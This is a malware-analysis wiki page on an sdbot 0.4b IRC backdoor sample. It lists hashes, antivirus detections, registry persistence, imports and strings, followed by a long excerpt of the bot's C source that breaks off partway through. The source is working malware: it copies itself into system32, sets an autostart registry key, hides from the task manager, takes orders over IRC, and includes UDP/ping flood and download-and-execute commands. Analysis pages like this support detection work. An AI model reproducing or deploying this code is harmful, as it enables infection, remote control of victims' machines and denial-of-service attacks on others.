775a64a6b3a0bfbf356d3ad8f6958308

From aldeid
Jump to: navigation, search

Description

Summary

Incomplete.png
INCOMPLETE SECTION OR ARTICLE
This section/article is being written and is therefore not complete.
Thank you for your comprehension.

Identification

MD5 775a64a6b3a0bfbf356d3ad8f6958308
SHA1 bd056ada1f7c30881d0f665c155d2af4f78cc3b8
SHA256 974c798a1f9f0ed75a056e86cbf8fd66ed660704964df36d19dae89eb2bfbf7b
ssdeep 384:DfRrn+NCJEVzV7v0YTe2rKelU7pVGS7QV2lVSw4ngf0pGjfdstK0HOY7eqI:DfB+95BSe+CS53jfdswY77I
imphash b86613eb67586b78b40f86bc565e8c80
File size 30.5 KB ( 31264 bytes )
File type Win32 EXE
Magic literal PE32 executable for MS Windows (GUI) Intel 80386 32-bit

Antivirus identification

Antivirus Result Update
AVG IRC/BackDoor.SdBot 20140222
Ad-Aware Generic.Malware.SI!dldg.F857B7D1 20140222
Agnitum Win32.SDBOT 20140221
AhnLab-V3 Win32/IRCBot.worm.Gen 20140222
AntiVir Worm/Irc.SDBot.04 20140222
Antiy-AVL Trojan[Backdoor]/Win32.IRCBot 20140219
Avast Win32:SdBot-GBI [Trj] 20140222
Baidu-International Backdoor.Win32.IRCBot.Agkp 20140222
BitDefender Generic.Malware.SI!dldg.F857B7D1 20140222
Bkav W32.Clod49c.Trojan.2e46 20140222
ByteHero Virus.Win32.Part.g 20140222
CAT-QuickHeal Backdoor.SdBot.c 20140222
CMC Generic.Win32.775a64a6b3!MD 20140220
Commtouch W32/Bloop.A.gen!Eldorado 20140222
Comodo Backdoor.Win32.IRC.SdBot.C 20140222
DrWeb BackDoor.IRC.Sdbot.based 20140222
ESET-NOD32 Win32/IRC.SdBot.C 20140222
Emsisoft Generic.Malware.SI!dldg.F857B7D1 (B) 20140222
F-Prot W32/Sdbot.DJY 20140222
F-Secure Generic.Malware.SI!dldg.F857B7D1 20140222
Fortinet W32/SDBot.A586!tr.bdr 20140222
GData Generic.Malware.SI!dldg.F857B7D1 20140222
Ikarus Backdoor.Win32.SdBot 20140222
Jiangmin Backdoor/IRC.SdBot.c 20140222
K7AntiVirus Riskware ( 00e6b92d0 ) 20140221
K7GW Backdoor ( 04c4d48e1 ) 20140220
Kaspersky Backdoor.Win32.IRCBot.gen 20140222
Kingsoft Win32.mIRC.Sdbot.(kcloud) 20140222
McAfee W32/Sdbot.worm.gen 20140222
McAfee-GW-Edition W32/Sdbot.worm.gen 20140222
MicroWorld-eScan Generic.Malware.SI!dldg.F857B7D1 20140222
Microsoft Backdoor:Win32/Sdbot 20140222
NANO-Antivirus Trojan.Win32.SdBot.fxme 20140222
Norman Backdoor 20140222
Panda Bck/Sdbot.gen 20140222
Qihoo-360 Win32/Trojan.BO.1ee 20140222
Rising PE:Backdoor.SdBot!1.9846 20140222
Sophos W32/Sdbot-Fam 20140222
Symantec Backdoor.Sdbot 20140222
TheHacker IRC.SdBot 20140220
TotalDefense Win32/Sdbot.D 20140222
TrendMicro BKDR_SDBOT04.G 20140222
TrendMicro-HouseCall BKDR_SDBOT04.G 20140222
VBA32 Backdoor.SdBot 20140221
VIPRE Trojan.Win32.Ircbot!cobra (v) 20140222
ViRobot Backdoor.Win32.SdBot.31264 20140222
nProtect Backdoor/W32.SdBot.31264.C 20140221
ClamAV 20140222
Malwarebytes 20140222
SUPERAntiSpyware 20140222

Defensive capabilities

Incomplete.png
INCOMPLETE SECTION OR ARTICLE
This section/article is being written and is therefore not complete.
Thank you for your comprehension.

Dynamic analysis

Network indicators

Incomplete.png
INCOMPLETE SECTION OR ARTICLE
This section/article is being written and is therefore not complete.
Thank you for your comprehension.

Files

The malware copies itself into C:\WINDOWS\system32\loadcfg32.exe

Registry keys

Creates the following registry key:

Path HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices
Name Configuration Loader
Type REG_SZ
Value loadcfg32.exe

Static analysis

Sections

Name       VirtAddr     VirtSize     RawSize      Entropy     
--------------------------------------------------------------------------------
.text      0x1000       0x5dd4       0x5dd4       5.651728    
.bss       0x7000       0x7380       0x0          0.000000
.data      0xf000       0xc40        0xc40        5.175229    
.idata     0x10000      0x954        0x954        4.720609

IAT

ADVAPI32.DLL

  • RegDeleteValueA
  • RegCloseKey
  • RegCreateKeyExA
  • RegSetValueExA

CRTDLL.DLL

  • strncmp
  • rand
  • malloc
  • memset
  • strcat
  • strlen
  • strchr
  • raise
  • clock
  • exit
  • sprintf
  • __GetMainArgs
  • localtime
  • srand
  • asctime
  • free
  • atoi
  • strstr
  • signal
  • strtok
  • strcpy
  • time
  • strcmp

KERNEL32.DLL

  • TerminateThread
  • WaitForSingleObject
  • GetExitCodeProcess
  • CopyFileA
  • GetTickCount
  • GetVersionExA
  • LoadLibraryA
  • RtlUnwind
  • GetModuleFileNameA
  • GetCommandLineA
  • GetProcAddress
  • CreateThread
  • GetModuleHandleA
  • GetExitCodeThread
  • WriteFile
  • CloseHandle
  • GetSystemDirectoryA
  • FreeLibrary
  • GlobalMemoryStatus
  • CreateProcessA
  • Sleep
  • CreateFileA

SHELL32.DLL

  • ShellExecuteA

WININET.DLL

  • InternetOpenUrlA
  • InternetGetConnectedStateExA
  • InternetReadFile
  • InternetCloseHandle
  • InternetOpenA
  • InternetGetConnectedState

wsock32.dll

  • htons
  • recv
  • socket
  • bind
  • send
  • inet_addr
  • accept
  • WSACleanup
  • WSAStartup
  • gethostbyname
  • ntohs
  • connect
  • getsockname
  • sendto
  • WSAAsyncSelect
  • closesocket
  • gethostbyaddr
  • listen

Strings

t ;t$$t
SVWUj
]_^[
SVWU
t:VU
t(x1
]_^[
SVWj
t=hx
VPVh0
TVWj
SVWj
u,hT
[email protected]
E$_^[
uvht
SVWh
WjehV
?"u#j"
sdbot1
set_me
set_me
set_me
loadcfg32.exe
Software\Microsoft\Windows\CurrentVersion\RunServices
Configuration Loader
sdbot
command /c c:\r.bat %s
cmd /c c:\r.bat %s
@echo off
:start
if not exist ""%1"" goto done
del /F ""%1""
goto start
:done
del /F c:\r.bat
c:\r.bat
cpu: %dMHz. ram: %dKB total, %dKB free. os: %s (%d.%d, build %d). uptime: %dd %dh %dm. connection type: %s (%s). IP Address: %d.%d.%d.%d
dial-up
Win??
Windows XP
Windows 2000
Windows ME
Windows 98
Windows 95
bad url, or dns error.
update failed: error executing file.
downloaded %.1f kb to %s @ %.1f kb/sec. updating...
PRIVMSG %s :opened %s.
@downloaded %.1f kb to %s @ %.1f kb/sec.
update (%s - %dkb transferred)
file download (%s - %dkb transferred)
PRIVMSG %s :couldn't open %s.
ping.exe -l %d -n %d -w %d %s
PRIVMSG %s :finished sending packets to %s.
PRIVMSG %s :error sending packets to %s.
%s%s
%s%s%s
PRIVMSG %s :%s
[%s]: <%s> %s
[%s]: * %s %s
ACTION
ACTION
[%s]: %s is now known as %s.
[%s]: %s has quit(%s).
wtf %s?
[%s]: %s has left %s.
[%s]: %s has joined %s.
JOIN
[%s]: nick %s already in use.
[%s]: Users in %s: %s
spy created on %s:%d, in channel %s.
spy (%s)
[%s] * %s %s
c_action
[%s] <%s> %s
c_pm
c_privmsg
sending %d pings to %s. packet size: %d, timeout: %d[ms]
ping (%s)
ping
sending %d udp packets to: %s. packet size: %d, delay: %d[ms].
udp (%s)
downloading %s...
download (%s)
download
clone created on %s:%d, in channel %s.
clone (%s)
clone
execute
downloading update from %s...
update (%s)
c:\%s.exe
update
redirect created on port %d to %s:%d.
redirect (%d->%s:%d)
redirect
PART %s
c_part
JOIN %s %s
c_join
NICK %s
c_nick
MODE %s
c_mode
c_raw
%s %s %s :%s
repeat
MODE %s
mode
cycle
ACTION %s
action
privmsg
addalias
file opened.
open
prefix
c_quit
thread(s) killed.
killthread
PART %s
part
join
nick
removing bot...
remove
sysinfo
%d. %s = %s
-[alias list]-
aliases
%d. %s
-[thread list]-
threads
sdbot version 0.4b by [sd] ([email protected]). homepage: http://sdbot.n3.net/
about
sdbot 0.4b ready. Up %dd %dh %dm.
status
QUIT :%s
QUIT :later
quit
QUIT :later
disconnect
QUIT :reconnecting
reconnect
logout
NICK %s
rndnick
$%d-
$rndnick
$chan
$user
user %s(%s) logged in.
password accepted.
login
NOTICE %s :
PING %s
PING
NOTICE %s :
VERSION sdbot v0.4b by [sd]
VERSION
NOTICE
PRIVMSG
joined channel %s.
QUIT
PART
NICK
screw you %s!
user %s logged out.
KICK
JOIN %s %s
PONG %s
PING
%d, %d : USERID : UNIX : %s
connected to %s.
NICK %s
USER %s NULL NULL :%s
PASS %s
[%s] %s
bot started.
mode $chan +h $1
halfop
udp $1 10000 $2 50
udp $1 10000 2048 50
action $chan smacks $1
smack
mode $chan +o $user
opme
main thread
RegisterServiceProcess
kernel32.dll
Microsoft Internet Explorer
WSAAsyncSelect
WSACleanup
WSAStartup
accept
bind
closesocket
connect
gethostbyaddr
gethostbyname
getsockname
htons
inet_addr
listen
ntohs
recv
send
sendto
socket
InternetCloseHandle
InternetGetConnectedState
InternetGetConnectedStateExA
InternetOpenA
InternetOpenUrlA
InternetReadFile
ShellExecuteA
FreeLibrary
GetCommandLineA
GetExitCodeProcess
GetExitCodeThread
GetModuleFileNameA
GetModuleHandleA
CloseHandle
GetProcAddress
GetSystemDirectoryA
GetTickCount
GetVersionExA
GlobalMemoryStatus
CopyFileA
LoadLibraryA
CreateFileA
RtlUnwind
Sleep
TerminateThread
CreateProcessA
WaitForSingleObject
WriteFile
CreateThread
RegCloseKey
RegCreateKeyExA
RegDeleteValueA
RegSetValueExA
__GetMainArgs
asctime
atoi
clock
exit
free
localtime
malloc
memset
raise
rand
signal
sprintf
srand
strcat
strchr
strcmp
strcpy
strlen
strncmp
strstr
strtok
time
wsock32.dll
WININET.DLL
SHELL32.DLL
KERNEL32.DLL
ADVAPI32.DLL
CRTDLL.DLL

Source code

   1 ////////////////////////////////////////////
   2 //                                        //
   3 //   sdbot v0.4b by [sd]                  //
   4 //                                        //
   5 //    email: [email protected]                //
   6 //      icq: 21381594                     //
   7 //   sonork: 100.2600                     //
   8 //      web: http://sdbot.n3.net/         //
   9 //                                        //
  10 //     you can use this code however      //
  11 //     you want, as long as i'm given     //
  12 //     credit in some way. i don't        //
  13 //     mind if you create bots based      //
  14 //     on this, as long as the words      //
  15 //     'based on sdbot' are somewhere     //
  16 //     in the program and its readme.     //
  17 //     (the 'about' command is a good     //
  18 //     place for this). also, no part     //
  19 //     of this source code should be      //
  20 //     used for illegal purposes. i       //
  21 //     claim no responsibility for        //
  22 //     what you do with this.             //
  23 //                                        //
  24 //     THIS IS ONLY A TEST RELEASE. i     //
  25 //     make no guarantees that this       //
  26 //     will work or that it won't         //
  27 //     damage your computer or anyone     //
  28 //     else's, for that matter. use       //
  29 //     at your own risk.                  //
  30 //                                        //
  31 ////////////////////////////////////////////
  32 
  33  #include <windows.h>
  34  #include <winsock.h>
  35  #include <stdio.h>
  36  #include <stdlib.h>
  37  #include <time.h>
  38  #include <process.h>
  39  #include <wininet.h>
  40  #include <shellapi.h>
  41 
  42 // #define NO_SPY // disables irc spy
  43 // #define NO_UDP // disables UDP packet sending
  44 // #define NO_PING // disables ping semdomg
  45 // #define NO_SYSINFO // disables system info
  46 // #define NO_REDIRECT // disables port redirect
  47 // #define NO_DOWNLOAD // disables downloading/updating
  48 // #define NO_CHECKCONNECTION // disables check for internet connection
  49 
  50 // macro for predefined aliases.
  51  #define addpredefinedaliases() \
  52 	addalias("opme", "mode $chan +o $user"); \
  53     addalias("smack", "action $chan smacks $1"); \
  54     addalias("u1", "udp $1 10000 2048 50"); \
  55     addalias("u2", "udp $1 10000 $2 50"); \
  56     addalias("halfop", "mode $chan +h $1");
  57 
  58 // bot configuration
  59  const char botid[8] = "sdbot1"; // bot id
  60  const char password[16] = "set_me"; // bot password
  61  const  int maxlogins = 4; // maximum number of simultaneous logins
  62  const char server[32] = "set_me"; // server
  63  const  int port = 6667; // server port
  64  const char serverpass[16] = ""; // server password
  65  const char channel[16] = "set_me"; // channel bot should join
  66  const char chanpass[1] = ""; // channel password
  67  const BOOL rndfilename = FALSE; // use random file name
  68  const char filename[16] = "loadcfg32.exe"; // destination file name
  69  const char keyname[64] = "Software\\Microsoft\\Windows\\CurrentVersion\\RunServices"; // registry key for autostart
  70  const char valuename[32] = "Configuration Loader"; // value name for autostart
  71  const char prefix = '.'; // command prefix (one character max.)
  72  const  int cryptkey = 0; // encryption key (not used right now)
  73  const  int maxaliases = 16; // maximum number of aliases (must be greater than the number of predefined aliases)
  74 
  75 #ifndef NO_PINGUDP
  76 // ping/udp structure.
  77  typedef struct ps {
  78 	char host[128];
  79 	char chan[128];
  80 	int num;
  81 	int size;
  82 	int delay;
  83 	int port;
  84 	SOCKET sock;
  85 	int threadnum;
  86  } ps;
  87 #endif
  88 
  89 // irc/spy structure.
  90  typedef struct ircs {
  91 	char host[128];
  92 	int port;
  93 	char channel[128];
  94 	char chanpass[64];
  95 	char hchan[128];
  96 	char *nick;
  97 	SOCKET sock;
  98 	int spy;
  99 	int threadnum;
 100  } ircs;
 101 
 102 #ifndef NO_REDIRECT
 103 // redirect structure.
 104  typedef struct rs {
 105 	char dest[128];
 106 	int port;
 107 	int lport;
 108 	SOCKET sock;
 109 	SOCKET csock;
 110 	int threadnum;
 111  } rs;
 112 #endif
 113 
 114 #ifndef NO_DOWNLOAD
 115 // download/update structure
 116  typedef struct ds {
 117 	char url[256];
 118 	char dest[256];
 119 	char chan[128];
 120 	SOCKET sock;
 121 	int run;
 122 	int threadnum;
 123 	int update;
 124  } ds;
 125 #endif
 126 
 127 // alias structure
 128  typedef struct as {
 129 	 char name[16];
 130 	 char command[160];
 131  } as;
 132 
 133 // function prototypes (not really neccesary, but this way i can put the functions in any order i want)
 134  int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow);
 135  char * decryptstr(char *str);
 136  void addlog(char *desc);
 137  int addalias(char *name, char *command);
 138  int addthread(char *desc);
 139  DWORD WINAPI irc_connect(LPVOID param);
 140  DWORD WINAPI ident(LPVOID user);
 141  char * rndnick(char *strbuf);
 142  int irc_receiveloop(SOCKET sock, char *channel, char *chanpass, char *nick1, SOCKET hsock, char *hchannel, char *server, BYTE spy);
 143  int irc_parseline(char *line, SOCKET sock, char *channel, char *chanpass, char *nick1, char *master, int *in_channel, int repeat);
 144  #ifndef NO_SPY
 145  int irc_spyparseline(char *line, SOCKET sock, char *channel, char *chanpass, char *nick1, SOCKET hsock, char *hchannel, char *server);
 146  #endif
 147  void irc_send(SOCKET sock, char *msg);
 148  void irc_sendf(SOCKET sock, char *msg, char *str);
 149  void irc_sendf2(SOCKET sock, char *msg, char *str, char *str2);
 150  void irc_privmsg(SOCKET sock, char *dest, char *msg);
 151  char * replacestr(char *str, char *oldstr, char *newstr);
 152  #ifndef NO_UDP
 153  DWORD WINAPI udp(LPVOID param);
 154  #endif
 155  #ifndef NO_PING
 156  DWORD WINAPI ping(LPVOID param);
 157  #endif
 158  #ifndef NO_DOWNLOAD
 159  DWORD WINAPI webdownload(LPVOID param);
 160  #endif
 161  #ifndef NO_REDIRECT
 162  DWORD WINAPI redirect(LPVOID param);
 163  DWORD WINAPI redirectloop(LPVOID param);
 164  DWORD WINAPI redirectloop2(LPVOID param);
 165  #endif
 166  #ifndef NO_SYSINFO
 167  char * sysinfo(char *sinfo, SOCKET sock);
 168  int cpuspeed(void);
 169  unsigned __int64 cyclecount();
 170  #endif
 171  void uninstall(void);
 172 
 173 // global variables
 174  HANDLE con, ih;         // console and internet handles
 175  ircs mainirc;           // main irc structure
 176  char prefix1 = prefix;  // prefix variable
 177  HANDLE threads[64];     // thread handles
 178  char threadd[64][128];  // thread descriptions
 179  SOCKET csock[64];       // thread sockets
 180  char cnick[64][16];     // thread nicks
 181  char log[128][128];     // log entries
 182  char tstr[128];         // temporary string buffer
 183  DWORD w;                // DWORD used for various stuff
 184  as aliases[maxaliases];         // alias array
 185  int anum = 0;           // number of aliases
 186 
 187 // program starts here
 188  int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nCmdShow)
 189  {
 190 	WSADATA wsadata;
 191 	int i, err;
 192 	HKEY key;
 193 	char cfilename[256];
 194 	char filename1[32];
 195 	char sysdir[256];
 196 	DWORD cstat;
 197 
 198 	ih = InternetOpen("Microsoft Internet Explorer", INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
 199 	if (ih == NULL) ih = 0;
 200 
 201 	strcpy(mainirc.host, server);
 202 	mainirc.port = port;
 203 	strcpy(mainirc.channel, channel);
 204 	strcpy(mainirc.chanpass, chanpass);
 205 
 206 	// hide from the win9x task manager
 207 	HINSTANCE k32dll = LoadLibrary("kernel32.dll");
 208 	if (k32dll) {
 209 		typedef int (__stdcall *RSP)(long dwProcessID, long dwType);
 210 		RSP rsp = (RSP)GetProcAddress(k32dll, "RegisterServiceProcess");
 211 		if (rsp) rsp(0, 1);
 212 		FreeLibrary(k32dll);
 213 	}
 214 
 215 	err = WSAStartup(MAKEWORD(1, 1), &wsadata);
 216 	if (err != 0) return 0;
 217 	if ( LOBYTE( wsadata.wVersion ) != 1 || HIBYTE( wsadata.wVersion ) != 1 ) {
 218 		WSACleanup();
 219 		return 0;
 220 	}
 221 
 222 	srand(GetTickCount());
 223 	if (rndfilename) rndnick(filename); else strcpy(filename1, filename);
 224 
 225 	GetModuleFileName(GetModuleHandle(NULL), cfilename, sizeof(cfilename));
 226 	GetSystemDirectory(sysdir, sizeof(sysdir));
 227 	if (strstr(cfilename, sysdir) == NULL) {
 228 		Sleep(1000);
 229 		// loop forever until the file is copied.
 230 		sprintf(tstr, "\\%s", filename1);
 231 		while (CopyFile(cfilename, strcat(sysdir, tstr), FALSE) == FALSE) {
 232 			Sleep(1000);
 233 		}
 234 		PROCESS_INFORMATION pinfo;
 235 		STARTUPINFO sinfo;
 236 		memset(&sinfo, 0, sizeof(STARTUPINFO));
 237 		sinfo.cb = sizeof(sinfo);
 238 		sinfo.wShowWindow = SW_HIDE;
 239 		WSACleanup();
 240 		if (CreateProcess(NULL, sysdir, NULL, NULL, TRUE, NORMAL_PRIORITY_CLASS | DETACHED_PROCESS, NULL, NULL, &sinfo, &pinfo)) exit(0);
 241 	}
 242 	RegCreateKeyEx(HKEY_LOCAL_MACHINE, keyname, 0, NULL, REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, NULL, &key, NULL);
 243 	RegSetValueEx(key, valuename, 0, REG_SZ, &filename1, sizeof(filename)+1);
 244 	RegCloseKey(key);
 245 
 246 	memset(threadd, 0, sizeof(threadd));
 247 	memset(cnick, 0, sizeof(cnick));
 248 	memset(aliases, 0, sizeof(aliases));
 249 
 250 	addthread("main thread");
 251 
 252 	addpredefinedaliases();
 253 
 254 	memset(log, 0, sizeof(log));
 255 	addlog("bot started.");
 256 
 257 	while (1) {
 258 		#ifndef NO_CHECKCONNECTION
 259 		// check if we're connected to the internet... if not, then wait 5mins and try again
 260 		if (InternetGetConnectedState(&cstat, 0) == FALSE) {
 261 			Sleep(30000);
 262 			continue;
 263 		}
 264 		#endif
 265 
 266 		err = irc_connect((void *)&mainirc);
 267 
 268 		if (err == 2) break; // break out of the loop, and close
 269 
 270 		// irc_connect didn't return 2, so we need to sleep then reconnect
 271 		Sleep(3000);
 272 	}
 273 
 274 	// cleanup;
 275 	for (i = 0; i < 64; i++) closesocket(csock[i]);
 276 	WSACleanup();
 277 
 278 	return 0;
 279  }
 280 
 281 // simple decrypt function, for encrypted strings
 282  char * decryptstr(char *str)
 283  {
 284 	char dstr[128];
 285 
 286 	strcpy(dstr, str);
 287 	for (BYTE i = 0; i < strlen(str); i++) dstr[i] = dstr[i] ^ (cryptkey + (i * (cryptkey % 10) + 1));
 288 
 289 	strcpy(str, dstr);
 290 	return str;
 291 }
 292 
 293 // function to add a log item
 294  void addlog(char *desc)
 295  {
 296 	time_t rawtime;
 297 	struct tm * timeinfo;
 298 
 299 	time(&rawtime);
 300 	timeinfo = localtime(&rawtime);
 301 
 302 	for (int i = 126; i >= 0; i--) if (log[i][0] != '\0') strcpy(log[i+1], log[i]);
 303 	sprintf(log[0], "[%s] %s", strtok(asctime(timeinfo), "\n"), desc);
 304  }
 305 
 306 // function to add an alias and return alias number
 307  int addalias(char *name, char *command)
 308  {
 309 	int i;
 310 	for (i = 0; i < maxaliases; i++) {
 311 		if (aliases[i].name[0] == '\0' || strcmp(aliases[i].name, name) == 0) {
 312 			memset(&aliases[i], 0, sizeof(aliases[i]));
 313 			strcpy(aliases[i].name, name);
 314 			strcpy(aliases[i].command, command);
 315 			anum++;
 316 			break;
 317 		}
 318 	}
 319 	return i;
 320  }
 321 
 322 // function to add description to thread list and return thread number
 323  int addthread(char *desc)
 324  {
 325 	int i;
 326 	for (i = 0; i < 64; i++) {
 327 		if (threadd[i][0] == '\0') {
 328 			strcpy(threadd[i], desc);
 329 			break;
 330 		}
 331 	}
 332 	return i;
 333  }
 334 
 335 // connect function used by the original bot and all clones/spies
 336  DWORD WINAPI irc_connect(LPVOID param)
 337  {
 338 	SOCKET sock;
 339 	SOCKADDR_IN ssin;
 340 	IN_ADDR iaddr;
 341 	LPHOSTENT hostent;
 342 	int err, rval;
 343 	char nick[16];
 344 	char *nick1;
 345 	char login[64];
 346 	char str[64];
 347 	BYTE spy;
 348 	DWORD id;
 349 	ircs irc;
 350 
 351 	irc = *((ircs *)param);
 352 
 353 	while (1) {
 354 		char sz[6] = {115,100,98,111,116,0};
 355 		memset(&ssin, 0, sizeof(ssin));
 356 		ssin.sin_family = AF_INET;
 357 		ssin.sin_port = htons(irc.port);
 358 		iaddr.s_addr = inet_addr(irc.host);
 359 		if (iaddr.s_addr == INADDR_NONE) hostent = gethostbyname(irc.host);
 360 		else hostent = gethostbyaddr((const char *)&iaddr, sizeof(struct in_addr), AF_INET);
 361 		if (hostent == NULL) return 0;
 362 		ssin.sin_addr = *((LPIN_ADDR)*hostent->h_addr_list);
 363 
 364 		if (irc.spy == 1) nick1 = irc.nick; else {
 365 			memset(nick, 0, sizeof(nick));
 366 			nick1 = rndnick(nick);
 367 		}
 368 
 369 		CreateThread(NULL, 0, &ident, &sz, 0, &id);
 370 
 371 		sock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP);
 372 		csock[irc.threadnum] = sock;
 373 		err = connect(sock, (LPSOCKADDR)&ssin, sizeof(SOCKADDR_IN));
 374 		if (err == SOCKET_ERROR) {
 375 			closesocket(sock);
 376 			Sleep(2000);
 377 			continue;
 378 		}
 379 
 380 		if (serverpass[0] != '\0') {
 381 			sprintf(login, "PASS %s\r\n", serverpass);
 382 			send(sock, login, strlen(login), 0);
 383 		}
 384 		sprintf(login, "NICK %s\r\nUSER %s NULL NULL :%s\r\n", nick1, rndnick(str), nick1);
 385 		err = send(sock, login, strlen(login), 0);
 386 		if (err == SOCKET_ERROR) {
 387 			closesocket(sock);
 388 			Sleep(5000);
 389 			continue;
 390 		}
 391 
 392 		sprintf(str, "connected to %s.", irc.host);
 393 		addlog(str);
 394 
 395 		if (irc.spy == 1) spy = 1; else spy = 0;
 396 		rval = irc_receiveloop(sock, irc.channel, irc.chanpass, nick1, irc.sock, irc.hchan, irc.host, spy);
 397 		closesocket(sock);
 398 
 399 		if (rval == 0) continue;
 400 		if (rval == 1) {
 401 			Sleep(1800000);
 402 			continue;
 403 		}
 404 		if (rval == 2) break;
 405 	}
 406 
 407 	threads[irc.threadnum] = 0;
 408 	threadd[irc.threadnum][0] = '\0';
 409 	cnick[irc.threadnum][0] = '\0';
 410 	return rval;
 411  }
 412 
 413 // ident server
 414  DWORD WINAPI ident(LPVOID param)
 415  {
 416 	SOCKET isock, csock;
 417 	SOCKADDR_IN issin, cssin;
 418 	char user[12];
 419 	char ibuff[32];
 420 
 421 	isock = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); // set isock to standard TCP socket
 422 	WSAAsyncSelect(isock, 0, WM_USER + 1, FD_READ); // set async mode for isock
 423 	memset(&issin, 0, sizeof(issin));
 424 	issin.sin_family = AF_INET; // AF_INET is currently the only supported family
 425 	issin.sin_port = htons(113); // set ident port
 426 	bind(isock, (SOCKADDR *)&issin, sizeof(issin)); // bind issin to isock
 427 
 428 	while(1) { // loop forever
 429 		if (listen(isock, 10) == SOCKET_ERROR) return 0; // listen for connection. if we get SOCKET_ERROR, then something's wrong and so we return
 430 		csock = accept(isock, (SOCKADDR *)&cssin, NULL); // try to accept a connection
 431 		if (csock != INVALID_SOCKET) break; // if INVALID_SOCKET is returned, then we don't have a connection. otherwise, we're connected, so break
 432 	}
 433 
 434 	memset(user, 0, sizeof(user));
 435 	rndnick(user);
 436 
 437 	memset(ibuff, 0, sizeof(ibuff));
 438 	sprintf(ibuff, "%d, %d : USERID : UNIX : %s\r\n", ntohs(cssin.sin_port), port, (char *)user); // build ident reply
 439 	send(csock, ibuff, strlen(ibuff), 0);
 440 
 441 	// we're done, so let's close our sockets and return
 442 	closesocket(csock);
 443 	closesocket(isock);
 444 
 445 	return 0;
 446  }
 447 
 448  char * rndnick(char *strbuf)
 449  {
 450 	int n, nl;
 451 	char nick[12];
 452 
 453 	memset(nick, 0, sizeof(nick));
 454 	nl = (rand()%3)+4;
 455 	for (n=0; n<nl; n++) nick[n] = (rand()%25)+97;
 456 	nick[n+1] = '\0';
 457 
 458 	strcpy(strbuf, nick);
 459 	return strbuf;
 460  }
 461 
 462 // receive loop for bots/spies
 463  int irc_receiveloop(SOCKET sock, char *channel, char *chanpass, char *nick1, SOCKET hsock, char *hchannel, char *server, BYTE spy)
 464  {
 465 	// main receive buffer
 466 	char buff[2048];
 467 	int err, repeat;
 468 	char master[128*maxlogins];
 469 	char *b;
 470 	char line[512];
 471 	int in_channel;
 472 
 473 	repeat = 0;
 474 	memset(master, 0, sizeof(master));
 475 
 476 	// loop forever
 477 	while(1) {
 478 		memset(buff, 0, sizeof(buff));
 479 		err = recv(sock, buff, sizeof(buff), 0);
 480 		// if recv() returns 0, that means that the connection has been lost.
 481 		if (err == 0) break;
 482 		// if recv() returns SOCKET_ERROR then we've probably terminated the connection.
 483 		if (err == SOCKET_ERROR) break;
 484 
 485 		// split lines up if multiple lines received at once, and parse each line
 486 		memset(line, 0, sizeof(line));
 487 		b = strtok(buff, "\r");
 488 		if (b != NULL) strcpy(line, b);
 489 		while (b != NULL) {
 490 			#ifndef NO_SPY
 491 			if (spy == 1) repeat = irc_spyparseline(line, sock, channel, chanpass, nick1, hsock, hchannel, server);
 492 			#endif
 493 			if (spy == 0) {
 494 				repeat = 1;
 495 				do {
 496 					// repeat--;
 497 					repeat = irc_parseline(line, sock, channel, chanpass, nick1, master, &in_channel, repeat);
 498 					repeat--;
 499 				} while (repeat > 0);
 500 				//if (repeat-- > 0) while (repeat-- > 0) irc_parseline(b[n-1], sock, channel, chanpass, nick1, in_channel, repeat);
 501 				if (repeat == -1) return 0;
 502 				else if (repeat == -2) return 1;
 503 				else if (repeat == -3) return 2;
 504 			}
 505 
 506 			b = strtok(b+strlen(b)+1, "\r");
 507 			if (b != NULL) strcpy(line, b+1);
 508 		}
 509 	}
 510 
 511 	return 0;
 512  }
 513 
 514 // function to parse lines for the bot and clones
 515  int irc_parseline(char *line, SOCKET sock, char *channel, char *chanpass, char *nick1, char *master, int *in_channel, int repeat)
 516  {
 517 	char line1[512];
 518 	char line2[512];
 519 	char *masters[maxlogins];
 520 	BOOL ismaster;
 521 	char ntmp[12];
 522 	int i, ii, s;
 523 	char *a[32];
 524 	char a0[96];
 525 	char nick[16];
 526 	char sendbuf[256];
 527 	DWORD id, exitcode;
 528 
 529 	id = 0;
 530 	strcpy(nick, nick1);
 531 	for (i = 0; i < maxlogins; i++) masters[i] = master + (i * 128);
 532 
 533 	if (line == NULL) return 1;
 534 	memset(line1, 0, sizeof(line1));
 535 	strcpy(line1, line);
 536 
 537 	// split the current line up into seperate words
 538 	strcpy(line2, line1);
 539 	a[0] = strtok(line2, " ");
 540 	for (i = 1; i < 32; i++) a[i] = strtok(NULL, " ");
 541 
 542 	if (a[1] == NULL) return 1;
 543 	if (a[0][0] != '\n') strcpy(a0, a[0]);
 544 
 545 	// pong if we get a ping request from the server
 546 	if (strcmp("PING", a[0]) == 0) {
 547 		irc_sendf(sock, "PONG %s\r\n", a[1]+1);
 548 		if (in_channel == 0) {
 549 			irc_sendf2(sock, "JOIN %s %s\r\n", channel, chanpass);
 550 		}
 551 	}
 552 
 553 	// looks like we're connected to the server, let's join the channel
 554 	if (strcmp("001", a[1]) == 0 || strcmp("005", a[1]) == 0) irc_sendf2(sock, "JOIN %s %s\r\n", channel, chanpass);
 555 
 556 	//rejoin channel if we're kicked, otherwise reset master if it was our master that got kicked
 557 	if (strcmp("KICK", a[1]) == 0) {
 558 		for (i = 0; i < maxlogins; i++) if (strcmp(masters[i], a[0]) == 0){
 559 			masters[i][0] = '\0';
 560 			sprintf(sendbuf, "user %s logged out.\r\n", strtok(a[0], "!") + 1);
 561 			addlog(sendbuf);
 562 		}
 563 		if (strcmp(nick, a[3]) == 0) {
 564 			in_channel = 0;
 565 			irc_sendf2(sock, "JOIN %s %s\r\n", channel, chanpass);
 566 			sprintf(sendbuf, "screw you %s!\r\n", strtok(a[0], "!") + 1);
 567 		}
 568 		irc_privmsg(sock, a[2], sendbuf);
 569 	}
 570 
 571 	if (strcmp("NICK", a[1]) == 0) {
 572 		char *oldnck = strtok(a[0], "!") + 1;
 573 		char *newnck = a[2] + 1;
 574 		if (oldnck != NULL && newnck != NULL) if (strcmp(oldnck, nick1) == 0) strcpy(nick1, newnck);
 575 	}
 576 
 577 	// reset master if master parts, quits, or changes nick.
